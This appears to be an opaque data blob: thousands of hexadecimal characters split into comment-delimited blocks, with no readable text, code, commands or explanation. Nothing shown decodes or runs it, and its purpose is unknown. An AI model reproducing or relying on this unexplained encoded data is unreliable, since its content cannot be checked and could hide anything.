7785d27f9a75fc9c012a09c7b834e10c9e0164b7d4d9f4ccec81714f9b6ced96c8ccf7e97970eebbb4dba4504fac368cd59ae109cf6df352f339e92afb7a45fc59a7b421d57a25e74d0fecc5d1a779b67fff178b73443ccb63cca950c810acb8761de35d58f32f16dbc6b8e68997f7d38171c3a8e81cfb50177cdb6ce7c8f9803b35a59f84b0ef20fbfa97c8f0cd385df9ffb074716a8468cb509e714cd776c7fef89a0db9c3f48ad9f866cfdcc5b7c7fdd4f949425ceed509c7ccfa70ad6ae8bdcce9a1e7c043a37fe26e842ffb29576c8384c75fca05867d6bc47a613dff8c30e305f4447e40ce542bef1c9cdf8f87d948b4492057d124d84821403aa4c7e53a4cec222c4713148e420e154f97250c7ee7041949d44fa459eb7c90e29f4372614b8b03bbab2d9b5cdc7698075303d770b87fc0bc1c03278416b777f27d035b8b353f5a68b25bf05969e88ec432a7f13ea03fbf7c52b978bab7ce5bc4dcc03a496bdd1703cbb1ebeed9c315ca90a59e3c207e6563d63a8be7ea1c11f753be2482efb82157b077cfeb77c22226d1bcbd3c3f88fc75dd229c22eb727fd84813b00f7439b4717a085a7efb361257062b5620177c03884a4f6b42eeba61060cb081b9a3b5c37fda544a264fdf6943e151f893effb56f13b1b2c1ec4c5774196570d4332e7a9b759f0100bd7a8f6d126053b*/
/*23411f67e035b58a62e222e5d0d378c514f18663172c3e717998060102b18c1ae98d886d2b5a8da0c58f753f37eff14b0e9ba222529e55a14283af7d76637caf278cb17eef83a3f342b42a93ba021bf2980b716d60f13ff2f9fc9a966d6cd22c545adf3e79887bbf8ab5d5e50025c2ce794b4d2a5934a8589e47eb8a35c87c7b85e2340c31e4d3edc51039b073c5685d8b344423e6a3f023749f8ea497167a137949add66a4579810c65cffb190232fe20824e383f6aef8c91707e53202512c200f7817ca1b6644b9fb43d0fb7e229ef4e21d7ba228208371e0c7226418ec9dbc4758a9d952c16f5adfb228d79fde35b886fda6a06bfff18bd490a56a9fcea7264747d0555d7a5ce78b3fb720a8d489d7718ad57b7951f4fcf5e5ebc4a6eb3f448cc33759c6fa8aacf066459b9afea3a969fe980fdf5ee5e6b134eae301fd65942ab8df5bea94f5113dfed3385fac8be7a42d680df6d390d66e1d14c4a43da58e8c3d8ac601ea57f373f5f47f4bf976403f97e8b2007371a7dd857e71d136b1207d53c765265ba7f3d89f4a7bcaa63af1fa71604a6bc7274e011683c3d9669a22b2f235fb7a057b669c43839694f0787056bdaa46d02a5570f08a6b429fd69b81d2002f297938b8081accb9a2722c4f45d920f36dc119ad5bc2ff001d735d72fba755d95e7730ea2fc67806bb99b2084cfea5fc937c4abd36c730334c04244a148a8593e34351ab7acf4f6d167ba5bad54bc8d2726315c3eddb87382ac22d0277203b19c84cc9f2b2740bd68449d3d4ec606587b847b0aa1b435953a631bb905cd1066e1c1306ca338823196b4ae400d8a4d04fcdea3e3c5ac2d8cbd653135ead109acf046a71b2bddb84d3c5999fa16687b4b907c3b1a7ad21babdc362d8870c3711ece150545ae5daaab54f5c726337beacc67d62bca8c8f37b54e8e9a5a46cbf98c09165a686f7b2a6b356886004d33f6d6f1d37ae03680021ab739d9347aa0ecbe27377a933eca63a2c0135839ccca4de6e750864695328d7c60ff2621c4b191b741c49d6909368ffef35899b72e6fe1a59923848a844cc6a32d9c262f9f472137bbce5d12b241f2604cc84819611acc00ff9510204d13175ba9003addd2bb52184bddfd58f2b7d1b5a25cd32c145355bf73f6e01eeb2c962f00e9cf3981064c9b1360ffd0e3912b134d098b789f7b10200663cb76cd1585616a5a0b38f4b48492feba21e65b784464c09fbd05aa27d9e1056fd8a092c4c2efdff675dbedacb6ae3d7ff6185e3277e3d3405503c4099f036916d287cf19af8c88b74c11e1641132155200e35ff600ecf7171cd5990b0041a148b3d4b06440a1c179fea67dd7a9a25ef63fee82af5c1a1e1eaebe5f58541ec1996c7a7996a505a174b138f82b6260e067efb0ef0d725397ea3281b13abf2c15853f39fcec18e645f1a60c47e1643d88520a6f493eaff84fc47d5877e2bf188bb5d9707252190b49fa381788ee7f48b74a4c2dbe6a33e1214b1eddbae49ef7cf4aecde7fc755d700fea17de039f09d7e43103fb774e84eff9f0eca4683af5454c2ac15c59376bbc6a5c55dac22ef76c10ecc5e86ce636911846ae6f2341266dd1af49188236e896532eb026fbfd17fda865e8b707a2122654be87c29f1adbb01c12364a7eeab2b54acee17407de3ac61f3b4ff7fe93392f6cebcb44ffd45cb6484f8b1d2647a71ddbf5d618d4fafa594824a9b24802efbdf1768303db0f150c78dd9b6dcd8d0e3e3803e408eb7fe3917cb59a97c43a271e6da01f49265d0df1a3e544b796d5d2887b39ea838ec0dc7480c5ab10dfb7c684490605101df5ab09baeaafb094e037fda82296ca09705ac336b4955efe2e24f401063dcd786019cf680821885a9a896de93eed53fcbea21873a82e39ac993db7bf5bf0d9373cb7736aadd4f2dcafbaf9fd98143eca1cb24413cd4ff7495a7b1251b7cc80a1710dca6ded5c2f82f205e7ca1840630b82816561e741d12e5a2ec3c18a9cbb075212b1a984a58a2f2fa8c77e47a181d1f8fd99343ed2e48c79f2b6c346d3aa544934da08a10e868e1afd3feac346801af4da7c5f26dbe6e92f92afc545483a4004b1a2e9320b38ea75bb0f4c3f573cf875db92b8122be39ba4d133158c3c6b79f961a59ad7712919ec612c910739f29877617f38bde0a0bfe734c55762fc4f578dac116eef3a66c6cbead4895192f103ed5572ec6471efafdaa2fb3e85e09167d412c2b5927cf6a895bc5aa6d6165f10e853ad41ad7dbad0e49ae5d09a35868958b1b0f5ecf279a622705144ce1e902ba8576199b8182ab125ac401a2076aa7fec863965442a644b1f7a04b987c9fafb5da92ec97c8c14dd9ac3dcd976b9e2a444b44aeaa4e587d9d4818b43a6c654e5776c572e74d31bfb4b6ffc5eed0009f19984d7b64b56dc6aff70acb46f67632251f461039f1ed3680ad78da9d002c8e6742b844b1300221bbe20b7932df28f56d2e59d0201e9d2ed0cf43dfeaec8b779abb3650cde8cd362cdf4cbbb75541c40d68d4d721c704eadf663e444316465cf83fa5eba367d44f2616b438ec12d953538f224b0187d2526c4ae06e2c1d492813571d818094c11392d8ec980ddc7abf5ceaddebc6bbd838a2dc1de03d03b4f3e2a20dd65b0f3c7db03c8fc17de2f667ca3f1247c487ac95a0246c3a8ab00e9e6950788a559c62ece0b6ca0113e0a969620e74976aeb3de1f050ed647f709adb8eb6fa2c1ee73bdf0de4067af6186493daed5577545ae32c5c92c8ad461676d763a051f54e7af164e4fc30a1fa7a00b09225cf729ad5da6d8586aa99d03606d3*/
/*0d34a9523cf531c06732a437072c33885b57bcc29f494f69ca75ac4542b2245c5ae40f5b6c5f2828aa4a8b44e51e26b381e47f6122dee9bb93646164f2ac8f72f83f71912a290cc431f7e9ce0724fd191dddf5215bb801274731c545bc604c3809f2083f3f510ae1fc9982183386c477d9d6c019921e474e93ab85f261304a46b8bfba4f55d5451f95b94e2d3591033bc7dcf2cf6492c4888c3576102be81cc7d6452411065527a30e0c7d3464d89adbeeac9dd1813eb650a0ccbdc99f2791cf41c0a8a976f451e73d3b1279b56f7d2ef815c31cf0dc696536db3578193f5525fe8ce7ca68e7b518c692c0f1e44dba64d2f5384f73605bffa9ea0a373060e90465de01cee0e1cc3628e39eb4470f24179096f79017b292add8c79dfd87cf0008acd8fd852e7f90853d69a71a8f9c7fa6056297b5f2e9ba393c484538d7f474c57a908ae80c6808b824e2d0ed109064d1a231c040af02e4cfd65d2e25a90fce8236dd78948a1e954a32b1ad4de63a20755261fa3273c02efc364a8cc4acad885022295e1e87d18791c3352231d4e0113ac5191ff0c11f8d40c9a3ec7eee5681cefe93fa0094ae7a4e9f55e1956e0ce4d7b0fb2e961301dd32091bed9f72b3a6a1df9aea153a33264e6fd8dcd9445859f4ba4400e13b5e67a384b333c2ca2b9091e9d7f70fd476b9513d52db2d6bbc814a08198593c94e26d320258fc1ac3ddf4fb193e48b567740e08deef93fe9cc8b721394e16b8a5e3828a5345fec993a70584872a5449f2b561fb3c906b27d4f1e0e48efdedd2f1bf361b5f9bdb0e16c641e9aaeb4325fb9ad4e1fd9f97277ba40f40e6f0178ea9a7c16c9e6151861a57d2b3e9cf2311e5b81d569159e66362c8e10a83ba41bfe329eea659afc3b036449cc54e031bae8434c5f89408f78d8952c7ca7a4ebaffd9b09f5038aaed080060abf0019a8b0e38f91b183454ed885e2d7ada292fdb8bd0d39588f9fe09862d5cf4b561efcea66e1cd87ed3353b057a62110026b4c6383242ec3fbb4e10f76c45bdf0f812944f2b2259b086e1e7d9283df29737f52aa5a66b8a576e60d35687230ba0f207959689c4480e5925363714751e99d029498408cfebb543237f9245293956faa661ce1f3bdc0a7d1a75720bba249323a841ec5ee4ccf9565a32119ba1f33c8eb6ad8c23c4ff151b414796fa692f6c361b89ee37b1a974fa17c9bc5084afee9cb66ea60b7250c210bef10315e033714a4dcb84c4b4b39ee1379c38e828a86e28288a438210fafb14bf4358014149670171ce42a9a1fce198f76dd8dad3625cfcf9ed4ca8577126c781fe418dd610ffc5eb7bec1d17ad62737a254e5227b6b54f14ed2104339ce3e307e8549cc2377b8a9308c7031e499e586a65b0e056d11ed851f4d8789182c1fabf4d7db98d54ad6dbc1b35a0cef05c0af1c2ada33b53a1e80dd464031dc6c7944e24d362ba0cf8552061f0f7e4acaf5da826669d176d6c194e1f98104a7830c77b356aa55e549c97200a0b9258121aaec8b142608163f2d7c79eae022ce5e6a24b9d3d634bb0b0e3967ba08c8cb84af8c57643c636559e2e42e290b18bc825bd59aaeb3e9b446d6dba9a45f996d60685390600c1fd4229768a5ccc39515694fd07ccb862854920aa46e28e324ec553701605b95c5b040e755575b375a38cd7fa3db9546e3af17dcc75feda27bb3c9c1003da6f867b34a81808e23ac756a7ce244bfcd425a0693363b052a5919841a047989d148e9449888846df0c2f4c4fd57e19d657636952b75159c2bbde56ce77567cd51f1108ad6cc978a89186412fd6fd64bc50e39f8188d0ee47dcc0845964de091d310fdf6c0a1a77d42e5f00c30d14726cb4811bf1524ba198501d5a249b8f596e07ef23b9e3e18ae33598c0c9702efffd109290821c5f0def8faaafad3938a660af9f39d8ee2cbb95583daf49f9bd0a48b70eb646ba3a7ca574ce20d5a3e347b6296207058ffa14e089a87a845b792466cc9567919ac6e409447d234beda797b1a2caa8c6b275cec6e4a1a00c01c3a0e729083237a2d6371e02a38d99291b99ad65f9609b77af6c090597ba764c54db4535ec97547bf0bf7fedf385227233ae69b57f43fa37ff255041b40197ae3b2e697d325ddedf269751680904415b4032ce0bf7a83cd42610b6cd990ec383f2f9249e1485d892bc362ab7c738aef9226aa848e7b3c3d96ae03c23e3dc3a9dda5a560b54609625d42586bce160c2c4cc885fc6a5d4c4efa330d8675c2a190bf2fd5d01c2116d194f9eb4207faeede2458337673008d7078078df55ce9e029c35fa6d17601d6b5578a6164301a397104988f702b0378c0e6f1093f5903a0a847ab488333287cd960c3b4838f49536b8bb07c09c1a6f75f2aa3d0bc2376db5aea7d42140cf5a4f0c42cc804b7e4a432510c7134e1f28545487b44026e0aaa4c92846fa51a28d4fcb72ab57ad39022cc248e2b0a87ad43b3a20ae47c09a219bd6e093e59a16d3a2e1e2f929180020c54aac225d74355f5436b1dfa9958aff6bc9642e1bd7e90b4477ee47b2efbdaa0a8c2bfb072cf64770d4b868113fde9238abbf68a3e98d6298c1e253a752de89f677a72daeddc852412b179e107889c9851abfdb1d70b1d801a00e2315d1f4c69581241142a57ea569d5c8bf9c8adbc6578bf9ff147c2a0ed20b024e84da21fe1128c101c0f3e4ce44c93ebfba2675a09b4a466e4ad178a3e6f5430a0bfaa91316a45a03c9ddf53f6a5e67196b5e3664f68011b2a5904fb62c65dc289bb81a125a40f4be50c66df2a0cfce9b2851c52a23615f6d679ac8420fc*/
/*97683ccc43ce8dcd006a23d46ef958115398ba7d0d79e67f314ad16d18f8598a8090c2a1d5ca216333714e257970d30f5578116ecec8889efe3373c8dbe872603a782d6cc5a5a8c8ddd8e47a08a022609c50477da5f284f981384b6e948c612b4a5646f0bfdbdf8490c059e9d6feba12f5c4f0ec4e575a95d755bc240ce20c28b23b63df818ad04db5473a572d3baff58bdc4f53c4c115d70b3143409373559ab9ed3c912a46f2ec016a14929c4a75435f6c70df40b096257c525b2c475fea10a1fecbe72f961c1a2722101857fedadb614fdea87dcb853222210d31165a045d135194977f80d305d86078431b4be01ebe9f7c2311d30e24d70be4e5d973c48e6718eb8645337f868fd4b06bcb770491bac5b90511c5849963cacd64bfcb0110b829de9c5600e66b49c0c411ebc98a44bd51d5eeef88dc38567371e8806924ce104f65f7f8d5a9af952198f795fef06082bf2a5957cf64fd86b1fcec57371d1d09954d21296c593f05d45e3c9a1dfbd5e62dab3c79c2262721d818fcd21ab89fd81b3a73663c6821d9510a5baf7bad10adb3930525c941939c96d0ac872c3eb28b72e592144b8e50122e86e6301e29eaf46534343f1697bf99157544ad91ae8524f26ba620a793310d2a06dd2bd2c950bc6dd8d8f70447111179fb0bccb80e9f4440bb3c9b6fa10eb5184fb0c8fa316f6f808334c8698c8c2a4c150aefe9f6269c4c002962f9962fa3d8226d3f0e53a57a47a6b15f8948a400c73fa1b600c0645beb45776d1a69e12dbd0e3ba0a3ac84f07fabfba60a44a25c5bf9524f0424819502c178692876d0fb54a7601d8b8519a5e3512402e066bc9a1ead0c08ae1a4fa77410130345422b0cc4a79f5bf7a609ea4bbeae5fc9de83d831d90924f17d4686e3701846c9b79faec36cc015b84477b348e45490f6f48be7cddca6d20e1e290bfd4edf82ce12d3b7d1cc2ddc78fcc4a2a3a608ffba76c2604071c5c07b7fc487c5c44048e52e780260427df1dee231a9619c57e12f38fcb47f5ff5a9b6c0d347b78e1eba1ace2ce079bed2572f6331444a06ccd3f1a28e26f297d8aaaece377d1f9526774374b4c35a1b5211cfef02f1f8739a93bf7119e811067964cf2ed74eeba91dbb2d66c6c4eaed18f5cc7340da6eade1315dd62892f313d85ec55afe3fb54f25d35f8436600ffd63815a68c81e526810427ef789edcae0e6b985455429938a6160c1e64e6b68ae8047744d2629584a7af5d7f5512dab27e4447cae0e300304e3c54703fa183826a51c848398d9f918b27d683c46451cb2266c17f4b74587753c0ed006157d3442b7674b586e2507bd85e89a05583d666628dbaf0bf7091e285bdc0933f6899432aa898c70f127ad4fdcf2e97db3dca4e8fc532b2ae3460703b1e34de687ef8c915035d3542d46f624503d8f5f09cd66ddba6937c7de2b16cd0b9ff814fce85614ce9ba3715e2092f15d5363652184fb7100713b32e9df0e0a97f4fd93661c71ee2e6a7915216a5092b3ecd2c4bf09151680f345b91801fd397cc5f396f910cbc8d9a4ed4851c9411ead670102d6876847bf22c5bc8d7d5c132a429bd52c5990131802797797ece6b78ffe49259d802b79b474afb6e326ade7df7bf43ee0320bcf30394c094ea781dae4b99a206b91d0432bda664003527c83e9193ee204ff62d12cb0c676a51f73c54ad2cb3dd46f79c1586967655697e8ddd036ace16e5a8989280e8b0e483845be1a244811d4d8189ce8beedc593cbc02795d5a66142324ae043a8ded4e19b6604c030b599321258c24a5a0b30692c55af4edabfcc5b076c1d0c704575433860da65a4e68d7413b3f37d175cc8e82325ba5bf569fc8b71a910838217b18dc2d89a8d59dc94998c61480808965f3c12b5347fdbab467b85801af949f7f807f481d1a3b43558d28878fccdeef9ea676829eda0ca481b71945ebf28128d16f79bfb37f8613b80a98ad0a5e255fd01bfe56141acb1f929ae6b3c1007f0b584751b09366b3e24163ff331a25242858b9a8a800c2199f4526d4aaeb533bc3f8e4ec663b8c190df6d007bd3f24ddfaa9adae49ea3b5d557105c50c184ca2a067097eadfdba80192ef2487897984d7ac17d6bbc50463e28cd7b2cd290fe22e001877e740926ce1e1e17221371dff9bd33d73eb634a2e6ad5bd286e69f8bc58740f19909b2d9b3d045bc9ef503ab77cbb1bff17c57c736ae736cc2e36aae855ad411845dddaa22235c7a2384da23443477245b3710a65c6eb1df5b2953204a7f9054528238e1880da6a273274c5a5bb4fa4bc498ed0951359fcbf26918918ff19bff6aabe9cc0f706ca00decfd387c4e2a5365b294d235d6bb77dbbb2d40fd0c733ebaa6d3e722374bac25597f1429b180259e31e4d0f29bcd671b3113e835ed3148c7f0c84be0fc35b4ba79460e13d1321157787b2d562a65f242f9e2dff16596cb07c090a4b1f8f02666ade85576c3e2e3d6629f09c52f04e770783291abe7f93ca9ba9d08dacb29df6dc6d70bb94fdea8ed880bbfd09224adae8f773aadead10ab07df7db0685fe7a726f2676070a5bd6ac705994f0f7cc6631a1b833673a96936927249170366b0ee45592719bb22251c04eb0fd51744598b0ef6a1e50f46ad30a11d7ad389f7f1e703e356dcc8fa0af32fabdf0fd3eafa59fac6af29f7c9181fc77cb8f366a2c4081fc7d7e6586b65eb7a1c37e6c98c3c214a6d9cdb82cb0f0ed680c964ae6b657728bdbb1d0e6bc9656fe1316fc008be9c6e7ddb50084fa38d31553b723ac7b5cfe21a349274072ca3a891941549ab67cf7ff37ba85e8b0355*/
/*a08db28a8d0811322317361dbc6d66bb6f61d0ed86cd25e67e235220f65ad5089c3ebe59194edeac5e52d66ad803050b58ed38f26370c18db0951ee6717f135ab0818c3520511edd669cc9539fcc5f6441a1877159c9044b4ff56c712ff26956b7272d63042a3b2461a66ca5970354a7fc41582c350cd689a322bfdc5085c2526415ce5c3532b9c2a31b801b7120866129c56c2709c41cc14062ec85126b9200087516514f70889f079ef68f300f00fe7dc44aab9d607ca12d98afd9c337cad85d5e52a6ef6641ba48d1e083d340345e726937c0ff60565d15f6e9bcaa28f971e017eee68a5aea2021e632c9eba363c6997cde846fe368607d92aa26816abdba68cf47d160d12f5f38f56c4316e499f70264345bada05978f98b35fab94ce588e071992995cb1bdae6adc4efc74f9ca75a45d1f1e34f57691946dbb5e3a45fe95d6b1a45d8833cf476e8a157b25973c0fbffc474b8106d147bbddf4aaaa6ac1e73267eb77977512419994882809eac6c35c654c165f1a9eb601f36bc2326c93cb4f2a881c5e506ebd39cca737aef6b4ad62672ca4b8c3b48e6ddae73eb6e48443ba78c78fc02da7b964c5eace0c4ef0d1f807f49f78263d8d1a0681df46b2ce12a63860c2da836d6babca230e03540c7fba9371b17ea2c4cfda62c698a6f5e1bb1b1d453922e30807a29d124b22154c659e74ba76e85fb281b0c972a59bc781b8eb8ccc400c174d26344bf6856cd3a6f05409e2faf2c3a8f3ecd6d1bc98219c1c31780945f7f843db6edd7c2558d874e40a74622cfd25cd38e0d842249d087baf298c2c19ee8f157dc2338eb3a1e581a3b912b02dbe72d38a1ae39338894772c93e13d8aaf4814b2cee19599581eacdc987b2dba1aecdcf13976ff119f7ffa08a17e71d5699ad18c620bfd5a21b1dfb490158dc437bf7f744a37a5c72971a436043cb1865ca50f598a536f7c51c65fec0f7576d0facefa2d2fed2579ad6d65f418522b0529f55517084dfb34ce613d1512e7d66d145a5f4c7a58939b8b6a1d62f796499beb5bf1c8d9437e2801fd0c3d00e5db9a53fdcd5e7e91bb988fe0b1e8b2094be45459fa1321fdabf6596cf238ca26ce21cffbb141927c0604bcb332e5516ea665f2a1c678d4c344644ae3d1b0d1f6a10a6047fe9f2b3d8d6c4dea365200c4b7b8b16106cfe5fc2944dc655ce41e25c907f9765cd6e4cef755a821b278f9a9339cc7b4d10ce6640ce9b057975bc7ddeddaae99b66487a907fc0b3da69d1c6f1ffefe52e0f96def0b8d8ce31b17b2819afae9d73f98f81ec4934054f497161246dff86a18d1e5ff606d3eaf526ca79f9f0938cd767ce44bd62d899cdf59dc0d426a2057a9e79b00052e55215d61be6fab95a84d32641af1cb7112a49ee0fc948feb4e5648cea169817feed64c63a9fa44ff5a6a95b84b0da13c7bb6915bc4495f84222a7d3fe49c6a9bc75c46b27ee0e733076e6f75644d33d71b128a2c27e37c6e546bf12647137f6809fa40c7718f930365a81dbf1dc5df9628ac8994490279bc5a4140250572abc2daa164a90bb42504d3f5a8c716895d413094f9b5a5cc6f96b46320de8ff5fbe7ec2a93842edd0f994e48c5995b0d00a45c4cbb48bf51a5d0ba67b1c84b227a0f1c6c29c9c50c7934ec82b58c9412ecc423c017b5a3e11e6c7b3eec37c109d9e4eed94d532a5b174c526faa3fc9ba6ad6e2389e4bda12cda33d7a27cc1dea8325302a567b65795f84433b2e67de16144db7fa584ba39a69de75a433cf95c65089d76451ee4909819e3c069ddf6d274b19142d78a6247b70123a413e7cd3b2285a0e387f6c557e0caf72d213cdffdd5f0828430928fdd4ad971baa5e18607378c71d8992643ee67f80722a3267d1012b1b2a8c25b473b4cf3bc9555acd6a238be93a99046b495e862fdd4adb577d4d3d4d6008bf82da7c4066b5d736763f50c0d33382b571e47b997a494b5e4f243f2b0c78fa037e0e3470bdb082e78bce1db7f06ae181ddabb23030552eabc0e5e39020c3353d77ef759d0e3d9ffee08d020a2c679349df47d4ca46ca12de421642949f692cf5be352d2316d0faddccb5f8d2509ba4aab3a62bf961e0ed816942dddb2fb58c03422f9a93ffb9971410af3697ff3c4a07abfee81a13729eb864e97bc74aee46ac47bdbb601fc5daeff1355e66357756ed3b9c2e08477264bb843e92d9730528b43e59004f0c9f74489812ccf162f3272092206c0d17463cc6f09281be103f42701729433edb9af38c8acd30be9b442db83b456c2e03b16401eda6fbe2b902ca029d1750917277e5700fa17126791d27586bca9682cbf502f246ab78433493f861a02bcfe577ed5d9a160413050987d0891e5deb58b0b5cc4b8c2c7f5591d9a23f34535161e8f8da330898360270d5f002c8ae331367bf561ef0cab65860705883f4794b342074c9d9c880624a9d2872783795407aed00e62b64b1557f034e870388639720374b8b3fdc78294c2e1896a9b006489c3f438caecf6eedee8693714938fe90a6a2248400af29e65d5f82612ed954cff2b5dcf852e88fcdedc131b3764acb5b61ce26e5b6b18dca09be8c09456c1de3adaf69cc43d69f0f51ba17ff2a97e0bdda95d120cc751e9a14f4b6a2f840c30dd8c2d6ee0956e21039de9badf384f0635fdb1eedde0a9505aa759693e4a66a1cbf72f9cdc50b56558e90064a3561ad12d9f705066a2c02aa7f2d272716aca3713b0e95ced608871f0a283a3d876d012b26184107148aeca218381c4e0c34ce91d5b9b9d24b07718e5c2513a56cd6b96eac4527bad95d7be9bacca0f5185d*/
/*ee5c165dce79944b5901b2c49aa11dc875025a1b7e6c3c6b875681a742538ff57248f63ccd761a5ffd9c6585a4c72dbed045f3269f115701dde0303d049580b7321ccf79bd03a75a053011121a015c67d630b8f5c7682c3cf9351fb0fea813256903a8077c2cbdfdb7a97539e8bed823213f5569bdb70c2dad4bb98f080f179e715dcec845a74f9eae110e28602f4be6de7c97e368af7c790ed5f5f57c0b1dec479714f9708e90cc4993038ffc6c915c0f8126c3f18d13c2cdde11b4441a0fca066642a373b6013989a11047af3d18262842a937dad85cb48b4a681daad14df4c34d6848ae3dabb8c50971d970d1adf04c3f01f22a62e8232fe7c910c58d91051ca97660d2cbb22a2d9eea73c8a4bca663bff7fb83a3acfca8e55fb1de15c2f788e4e884bcd12c7a4473eae050ef79d8dbd33c60f0eebe1fb522cfc655b77846748ad4a9aec7ae84bb9eb0a1565a6b50fcf6213c75286de21ad5c9098ab354ac0b0eb7fd211a5765aae229a5158272ee97ef3c1a3f87eec6af44013c5798d35e410a9ffbd72d239227a97f203559e51958b91aa227b170516deb6fd9901d229add3ac60a075b7e03b77aa9e831d998f5288831b68344ba2be9c99b71dfbb72b008c44f1fa5b7077b104e44552451616783aea6200529a8c2f64ff7abdb3d2b425004634d846d001cff1d8ea132ec328da14eafe480440e300885b59bb896396088ce48c941d79f2ec0687a45cb9d6c08d7f71ebaaef7f54cc60a9f4a9e98961f9130dcd052970de7e402c7a65341e280252ab0d6ee1fc126e429f19e1abbfdeeec868013b4225b4b76d313d3b63ca80c99e8ff9d7a8b2efd8148e245bb909f6cf0092da3f257d3a8fcaf544768e8c64692219073d32eca4f90716ae969550acdcf77a244e950a3ef3c55f732d8b4c21d2efd94cf60c1afbde3a9adce0fc9de2419cae7a20e8148d2593d87d2533c4d3e529d331602e1467e500dbc5a0be4b83df074facc2bb3a21c4f9b23a181a699dc7e6adf5a6c69cc4398b80b214386fbfa8f1d3fda17a609a3e00ec26687df88ac7f7090f0749e8952125da615c7913b8e4834e084933ff5f3045676e537d03f6c7bcc51747ae01a67c0894d3f079e9e1949b9e22717016bb48eb73769f6a0ba319ce4690bf2cbbff232e259c2296183adfa6fddff44a94eea4968224965f9bffd9b82149fad71036f171b5f31f0d896eb69bbd47c534b9b1f6a7672b07a2f43237999126a3649ba3bf88bc36ae63c88a01e51ae0c45568ac137a9707e2248d20b5386650268409b982c424aa74c31a81ad461d5faf95d42b584efbd697630cff2e6f9c8ff02af05dd94c9d224af8260f24591a40260f26fbc96edc7ac39c199fbc45e716da6d72f8a0d60bc367174764015d6f412f0e1602cd08a475bb5ecbf164cf325724168f9a5814139839cf3c3c9e4068fe25e1e3dce80047d7043e5c186c8a3fbd49301c7d56affd0b5358575a32fb9da333ae99e0a120a019907cb05abb2cfeee48aa23b429d4eac08907518e417c74f15a6eb955ecc6a198200bc0a65c202c4d0899471ead0ad88661fe5576384fec0119bca7e9c29f6881aaaba939e222b2772a47a9a90e3745951c3dbb75f805a25c142d7bbbbf5908aa796545fb5b0ca845d50ee6068745b220850ea42dec151f24c7b92372dd76de458b730c28302ba49a028cac96f40300dfd23bede5afe7afe6b7db3ccb18284f5bd09ed236eed4395ce46434d4282bef57f764f1865be6ee702038e94bd14e91356fcd3ccbc93740827d0d366ef3958c9f37972ebb16c17131926c5ee34501e0980e500233219b6a53893ed549e420804cf10b6cafc22a96d17d8f3f6a26e812d8433eb7e99ded359678b7b4d927dd2ff92000a23b1c68ab27d6a3eba291fbc4cccf178cac9716b670c72a7719f5bacf2067aaf6c6af5152f52867bad0a47a43df5f2a23c5bbd4b1ebc6d082c9d5578f83bacfbe09339a8c1dbc07b3f791244acbcdcddc8e6758d12c9ef8015b5cadf4d3cc86f2b20220a5eff988e323bf7f3197e862c96a759333b3e1d678a8560c94d82d8e18ca994fb9b3e131526bf4855d5c51ba7a51b8c538ccce28de0e76236fc496e3741299cd768ef53068b55f8b2864f804275f83802f50439e5c5d91fc6d4579506973467d70d5f00333108d49a51bb9bfac45031b436b6a630139c0ac0957225b89c096507b597269353b6b431b384ceb04ec30c6dbe643b7b6c4a11c72b4c1e9d09aebd906d55c2b95a68313150ce4c084321a465f2a4ecb651b0080fdd82581c9e8d76af0509d0e36acc2e6e92b8385fcd730a4a5e9b1296e94af84ca11dc41d940b88af110ff21ae75e8a863fff67f304f0959515cc9353996652be29f32a2fdfc07769d4d20f0afad37bacac2b488817bbe39d40ed0d8c36437668907527c750e69081cc86cef6136a885a6f83faafee382e8f9bbadfd5f82816fac2f6438e0bdbd18c422fe639e5c47157bf675aa788e7374089d0b72b18dd2dfb0273baa2396c2ab5a3f2dd740045e7daba41307ac105d3477029511a2c1a5ae78449ced4b291ccc78334a54806d85b7224a7e91b6dfffc786cfb4f510799407afde471d518915730d2e459940417fb95e539e6c6fb887396731fb1558d9d0be53839ad76a7713f3ac53baa1f1d3499f04b9f68c0a6a2bf1e4bed1b129a1a82fbf7026e87b59337735272974aa07c4bec8dc1907903061b5c59c994e29ef781660dac165b28dc627e1f3f5a04212ae7782b70b12f28f5b19adb6f0c5d8a643e1d2ea11d9b61b6ff0d459cae9b4248b0cfd90d5aebca15*/
/*71ea6b1b15b51feccccd6b1d88d491e3a80b7bfb7f73521651819e4660b8b5a4042346858e13d60c7e0e839efa539737030a29dc644da3f2118c0c351ca7c6434da5bdfbda3bdeb114f8a4c6b635d22873643eb8ddff3feea16839fca472d9a1d623023675df440dc4ce0fb1f37e97f90760970a63cda21f4d7fd435fa4ebcd84490298ef437d2834f7745878093fd987c9818500a57160fbcf077a8cf343ec73371f72561e51a5d923b57f127c3431b50eb2ff4081d6bb08b1b64df5cd612ee4d5fabdfd75624623a43bbebce29c2dccccae00bf3e4243f631d92c1cebf858d07e98c862acf92413fed8d7fd157a56a4201ad5d05112e44e62cbe96bca1469687861a5044b45b9dc39eef99c99a12c80f82ad52b7b0c8d9ee688c1732566d244fb6dc6f12a9a0e2f11d039f65ec577a0f7f4cf83e09b314a01c9db99e3451570b453f53a4c218c3e1586838230b2e51cb22739aaf88e75726bc3b1b230b0f6f7ac707bda8cba3baa05a2cc36f83a91af7ddc90b6155a39f6584b0a4df3d8ee74fccdd2d01d9e7d9df64e634ad5d4ff61dac43a55596ba2714fa025f0e855cc7ea93c67ed1b5c8379966a1047c4c6011c034e8ec64d984c4f0f20913c3456a3d39eaf7b990e97b34301d975e34f6d1179dbdaf1f9031a807ec459dd8333b0dff427b1c6d721e57f474d4b6f7d82009c02107d39d7aa6ccf38a9f6e84b256a99da7801f3f6dbafa973a42c79b7e22d2eaaf261b32518e5492395572584ff3bf6984ebb775b90c528b04b3c1d683beba590a1e0f408046a58d0fd7736657cdb8150d01085bcab82d4b06a213fa99999ba48c678d610a3ad0303c8195ce3124d5bd26b9186fbddaf0baf3bc73d5922f5951fd80e5781e2badab8c0167f0757804fa3e6e1eba691a6b098856d36d459e610ccce8de86ee3aafe3b17beea81b6e7cdb6b8916fa402c66f12d12a460d0ea4bf2e94aba9a0c398d0873176d1adcbaab882ab65bcf1c9bcc7ec5add475af956ba71012b85a042e7f0c9dfb7d0a34a6cb6b5764a7fe79f76a386f773639a8c4315b84b47c08e22a04c3fe511161396dcd5019623d48004ee9c54d735460ec7f2c1f7f5f5d78162fd1de419f5f37fc9363502b41267f77db49986eeb8a1f1606056394bd1f2b8ab8e38861185c75c732b7a4379471eb25cc35ab8b5e101e5ae1848189edbae553789e1754af2ed8d055029b1145be7239f99847f4a94bf979d169f3c8741bc4e32dd54a1ad373515ef77b73992df1c72e486277bc589192dfd5640d1033aead366d7720f9b9552dbfe4807d7f7b7b4ae9489a912069d7eaa23218c507c50af7aae34c1d181daf3780b015bd671c9c388a0209b3662e4979815f4b670dd85e0f229af20b5ef1408106